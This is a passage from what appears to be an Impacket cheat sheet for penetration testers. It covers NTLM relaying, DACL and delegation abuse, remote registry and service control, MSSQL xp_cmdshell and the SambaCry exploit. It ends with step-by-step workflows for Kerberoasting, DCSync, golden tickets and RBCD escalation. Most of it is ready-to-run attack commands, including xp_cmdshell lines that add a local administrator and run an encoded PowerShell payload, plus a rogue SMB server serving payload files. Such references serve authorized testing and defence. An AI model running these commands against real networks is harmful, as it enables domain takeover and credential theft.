# ESC11: relay to ADCS RPC (ICPR)
impacket-ntlmrelayx -t rpc://CA_IP -smb2support \
  --rpc-attack ICPR -icpr-ca-name "CORP-CA"

# ── HTTP/WPAD Attack ───────────────────────────────────────────────────────
impacket-ntlmrelayx -tf targets.txt -smb2support \
  -wh attacker.domain.local

# ── IPv6 + MiTM6 Setup ────────────────────────────────────────────────────
impacket-ntlmrelayx -t ldap://DC_IP --no-smb-server \
  --no-http-server -smb2support -6

# ── Bypass MIC (CVE-2019-1040) ────────────────────────────────────────────
impacket-ntlmrelayx -t smb://target -smb2support --remove-mic

# ── Dump relayed NTLM hashes to file ──────────────────────────────────────
impacket-ntlmrelayx -tf targets.txt -smb2support -of /tmp/hashes

# ── Keep relaying even after success ──────────────────────────────────────
impacket-ntlmrelayx -tf targets.txt -smb2support --keep-relaying

Key flag groups:

Category Key Flags
Servers --no-smb-server, --no-http-server, --no-rpc-server, --no-winrm-server
Ports --smb-port, --http-port, --rpc-port, --raw-port
Relay -t TARGET, -tf FILE, -socks, -i, -ra (random), --keep-relaying
SMB -e FILE, -c COMMAND, --enum-local-admins
LDAP --no-dump, --no-da, --no-acl, --escalate-user, --delegate-access
LDAP Data --dump-laps, --dump-gmsa, --dump-adcs, --add-dns-record, --add-computer
Shadow --shadow-credentials, --shadow-target, --export-type, --cert-outfile-path
ADCS --adcs, --template, --altname
RPC --rpc-attack {TSCH,ICPR}, -icpr-ca-name
IMAP -k KEYWORD, -m MAILBOX, -a, -im MAX
Misc --remove-mic, -6, --smb2support, --serve-image, -of FILE

karmaSMB

Description: A rogue SMB server that returns the same specified file content for every file request, regardless of share or path. Used to serve malicious files triggered by UNC paths.

# Serve a payload for every file request
impacket-karmaSMB /tmp/payload.exe

# With SMB2 support
impacket-karmaSMB /tmp/payload.exe -smb2support

# Extension-to-file mapping (custom config)
impacket-karmaSMB /tmp/default.exe -config /tmp/karmaSMB.cfg

ACL & Delegation Abuse

dacledit

Description: Python DACL editor — read, write, remove, backup, and restore ACEs on AD objects. Supports FullControl, ResetPassword, WriteMembers, DCSync, and custom GUIDs.

# Read current DACL of a target object
impacket-dacledit domain/user:pass -dc-ip DC_IP \
  -action read -target john.doe

# Grant FullControl on an object to an attacker
impacket-dacledit domain/admin:pass -dc-ip DC_IP \
  -action write -rights FullControl \
  -principal attacker -target john.doe

# Grant DCSync rights on the domain object
impacket-dacledit domain/admin:pass -dc-ip DC_IP \
  -action write -rights DCSync \
  -principal attacker -target-dn "DC=domain,DC=local"

# Grant WriteMembers on a group (for group membership abuse)
impacket-dacledit domain/admin:pass -dc-ip DC_IP \
  -action write -rights WriteMembers \
  -principal attacker -target "Domain Admins"

# Grant ResetPassword on a user
impacket-dacledit domain/admin:pass -dc-ip DC_IP \
  -action write -rights ResetPassword \
  -principal attacker -target targetUser

# Custom GUID right
impacket-dacledit domain/admin:pass -dc-ip DC_IP \
  -action write -rights Custom \
  -rights-guid <GUID> -principal attacker -target targetUser

# Remove a previously added ACE
impacket-dacledit domain/admin:pass -dc-ip DC_IP \
  -action remove -rights FullControl \
  -principal attacker -target john.doe

# Backup DACL to JSON file
impacket-dacledit domain/admin:pass -dc-ip DC_IP \
  -action backup -target john.doe -file /tmp/john_dacl.bak

# Restore DACL from backup
impacket-dacledit domain/admin:pass -dc-ip DC_IP \
  -action restore -target john.doe -file /tmp/john_dacl.bak

# With inheritance (for OU/container objects)
impacket-dacledit domain/admin:pass -dc-ip DC_IP \
  -action write -rights FullControl -principal attacker \
  -target-dn "OU=Finance,DC=domain,DC=local" -inheritance

# Use LDAPS
impacket-dacledit domain/admin:pass -dc-ip DC_IP \
  -use-ldaps -action read -target john.doe

# Pass-the-Hash
impacket-dacledit -hashes :NTHash domain/admin -dc-ip DC_IP \
  -action write -rights DCSync -principal attacker \
  -target-dn "DC=domain,DC=local"

Key flags:

Flag Description
-action {read,write,remove,backup,restore} DACL action
-principal NAME Attacker-controlled object (sAMAccountName)
-target NAME Target object to modify
-rights {FullControl,ResetPassword,WriteMembers,DCSync,Custom} Right to grant/remove
-rights-guid GUID Manual rights GUID (with -rights Custom)
-ace-type {allowed,denied} ACE type (default: allowed)
-inheritance Apply ACE to container children
-file FILENAME Backup/restore filename
-use-ldaps Use LDAPS

owneredit

Description: Reads or changes the owner field in an AD object's security descriptor. Used after WriteOwner abuse to take ownership and then modify the DACL.

# Read current owner of an object
impacket-owneredit domain/admin:pass -dc-ip DC_IP \
  -action read -target john.doe

# Set attacker account as owner
impacket-owneredit domain/admin:pass -dc-ip DC_IP \
  -action write -new-owner attacker -target john.doe

# By SID
impacket-owneredit domain/admin:pass -dc-ip DC_IP \
  -action write -new-owner-sid S-1-5-21-...-1234 -target john.doe

# By DN
impacket-owneredit domain/admin:pass -dc-ip DC_IP \
  -action write \
  -new-owner-dn "CN=attacker,CN=Users,DC=domain,DC=local" \
  -target-dn "CN=john,CN=Users,DC=domain,DC=local"

# Use LDAPS
impacket-owneredit domain/admin:pass -dc-ip DC_IP \
  -use-ldaps -action write -new-owner attacker -target john.doe

rbcd

Description: Manages the msDS-AllowedToActOnBehalfOfOtherIdentity attribute for RBCD (Resource-Based Constrained Delegation).

# Read current RBCD settings on a target
impacket-rbcd domain/admin:pass -dc-ip DC_IP \
  -delegate-to DC01$ -action read

# Write RBCD: allow EVILPC$ to impersonate users on DC01$
impacket-rbcd domain/admin:pass -dc-ip DC_IP \
  -delegate-to DC01$ -delegate-from EVILPC$ -action write

# Remove RBCD for a specific account
impacket-rbcd domain/admin:pass -dc-ip DC_IP \
  -delegate-to DC01$ -delegate-from EVILPC$ -action remove

# Flush all RBCD entries on target
impacket-rbcd domain/admin:pass -dc-ip DC_IP \
  -delegate-to DC01$ -action flush

# Use LDAPS
impacket-rbcd domain/admin:pass -dc-ip DC_IP \
  -delegate-to DC01$ -delegate-from EVILPC$ -action write -use-ldaps

# Pass-the-Hash
impacket-rbcd -hashes :NTHash domain/admin -dc-ip DC_IP \
  -delegate-to DC01$ -delegate-from EVILPC$ -action write

addcomputer

Description: Adds a new machine account to the domain via SAMR (SMB) or LDAPS. Default quota is 10 per regular user (MachineAccountQuota).

# Add a computer (random name and password)
impacket-addcomputer domain/user:pass -dc-ip DC_IP

# Custom name and password
impacket-addcomputer domain/user:pass -dc-ip DC_IP \
  -computer-name EVILPC$ -computer-pass 'P@ssw0rd123!'

# Use LDAPS method
impacket-addcomputer domain/user:pass -dc-ip DC_IP \
  -method LDAPS -computer-name EVILPC$ -computer-pass 'P@ssw0rd123!'

# Place in a specific container/group
impacket-addcomputer domain/user:pass -dc-ip DC_IP \
  -computer-name EVILPC$ -computer-pass 'P@ssw0rd123!' \
  -computer-group "CN=Computers,DC=domain,DC=local"

# Only reset password on an existing account (no creation)
impacket-addcomputer domain/admin:pass -dc-ip DC_IP \
  -computer-name EXISTINGPC$ -computer-pass 'NewP@ss!' -no-add

# Delete a computer account
impacket-addcomputer domain/admin:pass -dc-ip DC_IP \
  -computer-name EVILPC$ -delete

# Pass-the-Hash
impacket-addcomputer -hashes :NTHash domain/user -dc-ip DC_IP \
  -computer-name EVILPC$ -computer-pass 'P@ssw0rd123!'

SMB Scripts

smbclient

Description: Generic interactive SMB client for browsing shares, uploading/downloading files, and manipulating directories.

# Open interactive SMB shell
impacket-smbclient domain/user:pass@target_ip

# Pass-the-Hash
impacket-smbclient -hashes :NTHash domain/user@target_ip

# Kerberos
impacket-smbclient -k -no-pass domain/user@target.domain.local

# Run commands from a script file
impacket-smbclient domain/user:pass@target_ip -inputfile /tmp/cmds.txt

# Log all actions to file
impacket-smbclient domain/user:pass@target_ip -outputfile /tmp/smb.log

Common interactive commands:

shares                        # list available shares
use C$                        # connect to share
ls                            # list directory contents
cd Windows\System32           # change directory
get SAM                       # download a file
put /tmp/shell.exe            # upload a file
rm evil.txt                   # delete a file
mkdir evil                    # create a directory
exit

smbserver

Description: A Python SMB server. Use it to receive files from targets (e.g., via \\ATTACKER_IP\share\) or to capture NTLM hashes from clients connecting to it.

# Serve a directory
impacket-smbserver share /tmp/smb_share

# SMB2 support (required for modern Windows)
impacket-smbserver share /tmp/smb_share -smb2support

# Hash capture mode (no real share — just capture auth)
impacket-smbserver share . -smb2support

# Password-protect the share
impacket-smbserver share /tmp/share -smb2support \
  -username user -password 'P@ss'

changepasswd

Description: Changes or resets user/computer account passwords over SMB-SAMR, RPC-SAMR, Kpasswd (Kerberos), or LDAP.

# Change your own password
impacket-changepasswd domain/user:OldPass@DC_IP \
  -newpass 'NewP@ssw0rd'

# Admin reset — change another user's password (no old password needed)
impacket-changepasswd domain/admin:pass@DC_IP \
  -altuser domain/targetUser -newpass 'NewP@ssw0rd' -reset

# Change via Kpasswd protocol
impacket-changepasswd domain/user:OldPass@DC_IP \
  -newpass 'NewP@ssw0rd' -protocol kpasswd

# Change via LDAP (admin reset)
impacket-changepasswd domain/admin:pass@DC_IP \
  -newpass 'NewP@ssw0rd' -protocol ldap -reset

# Use NT hash as the new password
impacket-changepasswd domain/admin:pass@DC_IP \
  -altuser domain/targetUser -newhashes :NewNTHash -reset

# Change with alternative admin credentials
impacket-changepasswd domain/targetUser:OldPass@DC_IP \
  -altuser domain/admin -altpass 'AdminPass' \
  -newpass 'NewP@ssw0rd' -reset

RPC & Registry Scripts

rpcdump

Description: Dumps all RPC endpoint registrations from a target's endpoint mapper (epmapper). Useful for attack surface discovery.

impacket-rpcdump domain/user:pass@target_ip
impacket-rpcdump -hashes :NTHash domain/user@target_ip
impacket-rpcdump target_ip -port 135

rpcmap

Description: Scans for listening MSRPC interfaces using a string binding. Can brute-force UUIDs, opnums, and versions.

# Map via TCP port 135
impacket-rpcmap ncacn_ip_tcp:10.10.10.1[135]

# Map via SMB named pipe
impacket-rpcmap "ncacn_np:10.10.10.1[\pipe\spoolss]"

# Map via HTTP
impacket-rpcmap ncacn_http:10.10.10.1[593]

# Brute-force UUIDs
impacket-rpcmap ncacn_ip_tcp:10.10.10.1[135] -brute-uuids

# Brute-force opnums for found UUIDs
impacket-rpcmap ncacn_ip_tcp:10.10.10.1[135] \
  -brute-uuids -brute-opnums -opnum-max 256

# Test a specific UUID
impacket-rpcmap ncacn_ip_tcp:10.10.10.1[135] -uuid <UUID>

# Authenticated scan
impacket-rpcmap ncacn_ip_tcp:10.10.10.1[135] \
  -auth-rpc domain/user:pass \
  -auth-transport domain/user:pass

reg

Description: Remote Windows Registry manipulation — query, add, delete, save, and backup registry keys over RPC.

# Query a key
impacket-reg domain/admin:pass@target_ip \
  query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"

# Query a specific value
impacket-reg domain/admin:pass@target_ip \
  query "HKLM\SYSTEM\CurrentControlSet\Control\LSA" -v RunAsPPL

# Add a registry entry
impacket-reg domain/admin:pass@target_ip \
  add "HKLM\SOFTWARE\Test" -v MyValue -vt REG_SZ -vd "hello"

# Delete a key
impacket-reg domain/admin:pass@target_ip \
  delete "HKLM\SOFTWARE\Test"

# Save a hive subtree to a remote file
impacket-reg domain/admin:pass@target_ip \
  save "HKLM\SAM" C:\Windows\Temp\SAM

# Backup SAM + SYSTEM + SECURITY in one shot
impacket-reg domain/admin:pass@target_ip backup C:\Windows\Temp\backup

# Pass-the-Hash
impacket-reg -hashes :NTHash domain/admin@target_ip \
  query "HKLM\SAM"

registry-read

Description: Offline hive reader. Parses a local registry hive file (SYSTEM, SAM, SOFTWARE, etc.) to enumerate keys and extract values.

# Enumerate subkeys of root
impacket-registry-read /path/to/SAM enum_key ""

# List values in a key
impacket-registry-read /path/to/SYSTEM \
  enum_values "ControlSet001\Control\LSA"

# Get a specific value
impacket-registry-read /path/to/SYSTEM \
  get_value "ControlSet001\Control\LSA\JD"

# Walk entire hive from root
impacket-registry-read /path/to/SAM walk ""

# Walk from a specific subkey
impacket-registry-read /path/to/SOFTWARE \
  walk "Microsoft\Windows NT\CurrentVersion"

services

Description: Remote Windows Service control — list, start, stop, create, delete, and change services via the SCMR RPC interface.

# List all services
impacket-services domain/admin:pass@target_ip list

# Get status of a specific service
impacket-services domain/admin:pass@target_ip status -name RemoteRegistry

# Get service configuration
impacket-services domain/admin:pass@target_ip config -name wuauserv

# Start a service
impacket-services domain/admin:pass@target_ip start -name RemoteRegistry

# Stop a service
impacket-services domain/admin:pass@target_ip stop -name Spooler

# Create a new service
impacket-services domain/admin:pass@target_ip create \
  -name evilsvc -display "Evil Service" \
  -path "C:\Windows\Temp\shell.exe"

# Change a service's binary path
impacket-services domain/admin:pass@target_ip change \
  -name evilsvc -path "C:\Windows\Temp\newpayload.exe"

# Delete a service
impacket-services domain/admin:pass@target_ip delete -name evilsvc

# Pass-the-Hash
impacket-services -hashes :NTHash domain/admin@target_ip list

MSSQL Scripts

mssqlclient

Description: Interactive MSSQL client with SSL support. Supports Windows Authentication, SQL Auth, Kerberos, and pass-the-hash. Enables xp_cmdshell for OS command execution.

# SQL authentication
impacket-mssqlclient sa:password@mssql_ip

# Windows authentication (NTLM)
impacket-mssqlclient domain/user:pass@mssql_ip -windows-auth

# Specify database
impacket-mssqlclient domain/user:pass@mssql_ip -windows-auth -db master

# Non-standard port
impacket-mssqlclient domain/user:pass@mssql_ip -windows-auth -port 1433

# Pass-the-Hash with Windows auth
impacket-mssqlclient -hashes :NTHash domain/user@mssql_ip -windows-auth

# Kerberos
impacket-mssqlclient -k -no-pass domain/user@mssql.domain.local -windows-auth

# Run a single command (non-interactive)
impacket-mssqlclient sa:pass@mssql_ip -command "SELECT @@version"

# Run multiple commands
impacket-mssqlclient sa:pass@mssql_ip \
  -command "SELECT @@version" -command "SELECT name FROM master..sysdatabases"

# Run from script file
impacket-mssqlclient sa:pass@mssql_ip -file /tmp/queries.sql

# Show queries as they're sent
impacket-mssqlclient sa:pass@mssql_ip -show

Useful in-shell commands:

SELECT @@version;
SELECT name FROM master..sysdatabases;
SELECT * FROM openquery(LINKEDSERVER, 'SELECT @@version');

-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- OS command execution
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user hacker P@ss123 /add';
EXEC xp_cmdshell 'net localgroup administrators hacker /add';
EXEC xp_cmdshell 'powershell -enc <B64_PAYLOAD>';

mssqlinstance

Description: Discovers MSSQL instances on a target host by querying UDP port 1434 (SQL Server Browser service).

impacket-mssqlinstance mssql_ip
impacket-mssqlinstance mssql_ip -timeout 5

Exchange & MQTT

exchanger

Description: Abuses Microsoft Exchange Server's NSPI (Name Service Provider Interface) RPC interface. Can enumerate and dump the Global Address List (GAL) with email addresses, display names, and account info.

# Dump the Global Address List
impacket-exchanger domain/user:pass@exchange_server nspi dump-tables

# Increase count for large GALs
impacket-exchanger domain/user:pass@exchange_server nspi dump-tables -count 5000

# Pass-the-Hash
impacket-exchanger -hashes :NTHash domain/user@exchange_server nspi dump-tables

# With explicit RPC hostname (GUID or NetBIOS)
impacket-exchanger domain/user:pass@exchange_server \
  -rpc-hostname <GUID_or_NetBIOS> nspi dump-tables

mqtt_check

Description: Tests MQTT (Message Queuing Telemetry Transport) broker credentials. Useful in IoT/SCADA/OT penetration tests.

# Test credentials
impacket-mqtt_check user:password@broker_ip

# Non-standard port
impacket-mqtt_check user:password@broker_ip -port 8883

# SSL/TLS
impacket-mqtt_check user:password@broker_ip -ssl -port 8883

# Custom client ID
impacket-mqtt_check user:password@broker_ip -client-id myclient

Exploit Scripts

sambaPipe

Description: Exploits CVE-2017-7494 (SambaCry / EternalRed) — uploads and executes a shared library (.so) on a vulnerable Samba server (versions 3.5.0–4.4.13).

# Upload and execute shared library
impacket-sambaPipe domain/user:pass@samba_target -so /tmp/evil.so

# Pass-the-Hash
impacket-sambaPipe -hashes :NTHash domain/user@samba_target -so /tmp/evil.so

# Kerberos
impacket-sambaPipe -k -no-pass domain/user@samba.domain.local -so /tmp/evil.so

rdp_check

Description: Validates credentials against a target via RDP (CredSSP/NLA). Useful for verifying cracked hashes or password spray results before connecting interactively.

# Test credentials
impacket-rdp_check domain/user:pass@target_ip

# Test with NT hash
impacket-rdp_check domain/user@target_ip -hashes :NTHash

# IPv6 target
impacket-rdp_check domain/user:pass@target_ip -6

Forensic & Offline Tools

esentutl

Description: Extensible Storage Engine (ESE) database utility for offline analysis. Works with NTDS.dit, SRUM database, IE History, and other ESE-based stores.

# Show database catalog and table info
impacket-esentutl /path/to/ntds.dit info

# Dump a specific database page
impacket-esentutl /path/to/ntds.dit dump -page 5

# Export a specific table
impacket-esentutl /path/to/ntds.dit export -table datatable

ntfs-read

Description: Read-only NTFS explorer for raw volumes or disk images. Browse and extract files without mounting.

# Browse volume interactively
impacket-ntfs-read /dev/sdb1

# Browse a disk image
impacket-ntfs-read /tmp/disk.img

# Extract a specific file
impacket-ntfs-read /dev/sdb1 \
  -extract "\Windows\System32\config\SAM"

# Extract NTDS.dit from a DC image
impacket-ntfs-read /dev/sdb1 \
  -extract "\Windows\NTDS\ntds.dit"

registry-read (Offline)

See the registry-read section under RPC scripts — it is fully offline and operates only on local hive files.

sniff / sniffer / split

# Raw packet sniffer on a network interface (requires root)
impacket-sniff

# Protocol-aware sniffer (parses SMB, LDAP, etc.)
impacket-sniffer

# Split a pcap file by protocol
impacket-split <input.pcap>

ping / ping6

Simple ICMP ping tools using raw sockets. Require root privileges.

# IPv4 ping
impacket-ping <src_ip> <dst_ip>

# IPv6 ping
impacket-ping6 <src_ipv6> <dst_ipv6>

Common Attack Workflows

Pass-the-Hash Shell

# Verify hash works via RDP check
impacket-rdp_check -hashes :NTHash domain/admin@target_ip

# Stealthiest shell method
impacket-wmiexec -hashes :NTHash domain/admin@target_ip

# Loudest but most reliable
impacket-psexec -hashes :NTHash domain/admin@target_ip

Kerberoasting

# Dump TGS hashes
impacket-GetUserSPNs domain/user:pass -dc-ip DC_IP \
  -request -outputfile /tmp/tgs.txt

# Crack
hashcat -m 13100 /tmp/tgs.txt /usr/share/wordlists/rockyou.txt

# Use cracked credentials
impacket-secretsdump domain/svc_sql:CrackedPass@DC_IP -just-dc-ntlm

ASREPRoasting

# No credentials needed — just a username list
impacket-GetNPUsers domain/ -usersfile users.txt -no-pass \
  -dc-ip DC_IP -format hashcat -outputfile /tmp/asrep.txt

# Crack
hashcat -m 18200 /tmp/asrep.txt /usr/share/wordlists/rockyou.txt

DCSync (Full Domain Dump)

# Full NTLM hash dump
impacket-secretsdump domain/admin:pass@DC_IP -just-dc-ntlm

# Only krbtgt hash (for Golden Ticket)
impacket-secretsdump domain/admin:pass@DC_IP -just-dc-user krbtgt

# Write to files
impacket-secretsdump domain/admin:pass@DC_IP -just-dc -outputfile /tmp/dc_dump

Golden Ticket

# 1. Get krbtgt hash
impacket-secretsdump domain/admin:pass@DC_IP -just-dc-user krbtgt

# 2. Get domain SID
impacket-lookupsid domain/admin:pass@DC_IP | grep "Domain SID"

# 3. Forge Golden Ticket
impacket-ticketer -nthash <KRBTGT_HASH> \
  -domain-sid S-1-5-21-... -domain domain.local Administrator

# 4. Use it
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k -no-pass domain/Administrator@DC_FQDN
impacket-psexec -k -no-pass domain/Administrator@DC_FQDN

NTLM Relay → LDAP → DCSync

# 1. Build target list (no SMB signing)
nxc smb 10.10.10.0/24 --gen-relay-list targets.txt

# 2. Start relay — escalate a low-priv user to DA-equivalent
impacket-ntlmrelayx -tf targets.txt -smb2support \
  -t ldap://DC_IP --escalate-user lowPrivUser

# 3. Trigger auth (Responder in another terminal)
#    responder -I eth0

# 4. DCSync as escalated user
impacket-secretsdump domain/lowPrivUser:pass@DC_IP -just-dc-ntlm

RBCD Privilege Escalation

# 1. Add a machine account (requires MAQ > 0)
impacket-addcomputer domain/user:pass -dc-ip DC_IP \
  -computer-name EVILPC$ -computer-pass 'P@ssw0rd123!'

# 2. Write RBCD on target (requires GenericWrite on target)
impacket-rbcd domain/user:pass -dc-ip DC_IP \
  -delegate-to DC01$ -delegate-from EVILPC$ -action write

# 3. Get TGT for the new machine account
impacket-getTGT domain/EVILPC$:'P@ssw0rd123!' -dc-ip DC_IP
export KRB5CCNAME=EVILPC\$.ccache

# 4. S4U2Proxy → impersonate Administrator on DC01$
impacket-getST domain/EVILPC$ -k -no-pass \
  -spn cifs/DC01.domain.local \
  -impersonate Administrator -dc-ip DC_IP

# 5. Use the resulting ticket
export KRB5CCNAME=Administrator@cifs_DC01.domain.local.ccache
impacket-secretsdump -k -no-pass domain/Administrator@DC01.domain.local

Child-to-Forest Escalation

impacket-raiseChild child.domain.local/childadmin:pass \
  -target-exec DC.rootdomain.local

Script Reference Index

Script Category Key Use
psexec RCE SYSTEM shell via SCM + RemComSvc
smbexec RCE Shell via SCM batch (no RemComSvc)
wmiexec RCE Stealthy shell via WMI/DCOM
dcomexec RCE Shell via alternate DCOM endpoints
atexec RCE Single command via Task Scheduler
secretsdump Creds DCSync / SAM / LSA / NTDS dump
mimikatz Creds Remote Mimikatz RPC shell
Get-GPPPassword Creds GPP password extraction from SYSVOL
GetLAPSPassword Creds LAPS password from LDAP
dpapi Creds DPAPI / Vault secret decryption
keylistattack Creds RODC/Azure AD Kerb-Key-List attack
GetADUsers AD Enum User list via LDAP
GetADComputers AD Enum Computer list via LDAP
GetNPUsers AD Enum ASREPRoasting
GetUserSPNs AD Enum Kerberoasting
findDelegation AD Enum Unconstrained/KCD/RBCD delegation
net AD Enum SAMR user/group/computer enumeration
samrdump AD Enum User list via SAMR RPC
lookupsid AD Enum SID brute-force enumeration
netview AD Enum Logged-on user/session enumeration
DumpNTLMInfo Recon Server NTLM info (unauthenticated)
getArch Recon OS architecture detection (unauth)
machine_role Recon Host AD role and domain info
getTGT Kerberos Request Kerberos TGT
getST Kerberos S4U2Self/Proxy, RBCD, U2U, DMSA
getPac Kerberos Retrieve user PAC
ticketer Kerberos Golden / Silver ticket forging
ticketConverter Kerberos kirbi ↔ ccache conversion
describeTicket Kerberos Parse ticket / UnPAC-the-Hash
raiseChild Kerberos Child-to-forest escalation
goldenPac Exploit MS14-068 PAC exploit
ntlmrelayx Relay NTLM relay to SMB/LDAP/ADCS/RPC
karmaSMB Relay Rogue SMB server serving same file
dacledit ACL Read/write/remove DACL ACEs
owneredit ACL Read/set AD object owner
rbcd Delegation Set/remove msDS-AllowedToActOnBehalfOf
addcomputer AD Write Add machine accounts to domain
smbclient SMB Interactive SMB file client
smbserver SMB SMB server for file transfer/capture
changepasswd Auth Remote password change/reset
rpcdump RPC Enumerate RPC endpoints
rpcmap RPC Scan MSRPC interfaces
reg Registry Remote registry read/write
registry-read Registry Offline hive file parsing
services Windows Remote service management
mssqlclient MSSQL Interactive SQL client + xp_cmdshell
mssqlinstance MSSQL Discover MSSQL instances
exchanger Exchange NSPI / Global Address List dump
mqtt_check IoT MQTT broker credential check
sambaPipe Exploit CVE-2017-7494 (SambaCry)
rdp_check Recon Validate credentials over RDP
esentutl Forensic ESE database offline parser
ntfs-read Forensic NTFS volume reader / file extractor
sniff/sniffer Network Packet sniffing
split Network Split pcap by protocol
ping/ping6 Network ICMP ping (raw sockets)

References

  • GitHub: https://github.com/fortra/impacket
  • Kali Scripts page: https://www.kali.org/tools/impacket-scripts/
  • Core Security: https://www.coresecurity.com/core-labs/impacket
  • BHIS Cheatsheet: https://www.blackhillsinfosec.com/impacket-cheatsheet/

← Tool references top ↑